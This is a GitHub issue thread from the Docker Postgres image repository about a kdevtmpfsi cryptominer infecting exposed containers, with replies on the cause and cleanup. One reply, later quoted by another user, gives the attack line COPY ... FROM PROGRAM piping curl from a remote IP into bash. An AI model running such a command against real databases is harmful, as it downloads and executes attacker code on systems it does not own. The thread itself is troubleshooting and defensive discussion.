docker-library / postgres

Docker Official Image packaging for Postgres
http://www.postgresql.org
MIT License
2.16k stars 1.13k forks source link

kdevtmpfsi malware found in postgres latest image #1054

Closed cottons-kr closed 1 year ago

cottons-kr commented 1 year ago

I noticed that /tmp/kdevtmpfsi is using all cpu resource. so I tried to remove it but it was in /var/lib/docker/overlay2/.../.../merged. I stopped PostgreSQL container because it was the only running container in the server.

image

wglambert commented 1 year ago

This is an unfortunate consequence of having a public-facing instance with a compromised (or simple) password. https://github.com/docker-library/postgres/issues/817#issuecomment-781482631 https://github.com/docker-library/postgres/issues/798#issuecomment-747610025

See also: https://github.com/docker-library/redis/issues/217 https://github.com/docker-library/redis/issues/225 https://github.com/docker-library/php/issues/1110 https://github.com/docker-library/php/issues/1127

zedefi commented 8 months ago

I wonder how is someone able to install mining malware if they only can access your database via psql console?

ImreSamu commented 8 months ago

@zedefi :

I wonder how is someone able to install mining malware if they only can access your database via psql console?

Attack Sequence: open port + brute force attack + COPY ... FROM PROGRAM 'curl http://1xx.1x.7x.1/1.sh | bash';

codingwizardx commented 5 months ago

Attack Sequence: open port + brute force attack + COPY ... FROM PROGRAM 'curl http://1xx.1x.7x.1/1.sh | bash';

Well said @ImreSamu, Yes thats actually true, i faced the same issue because of exposing database ports to the internet,

tirzasrwn commented 2 months ago

i have the same issue because having a weak password. changing the password to a strong one, works for me.

paulkorir commented 1 month ago

One thing I found useful was to sudo -u postgres crontab -e where I found the cronjob that kept restarting it. After deleting that it seems to have quietened down. Fingers crossed!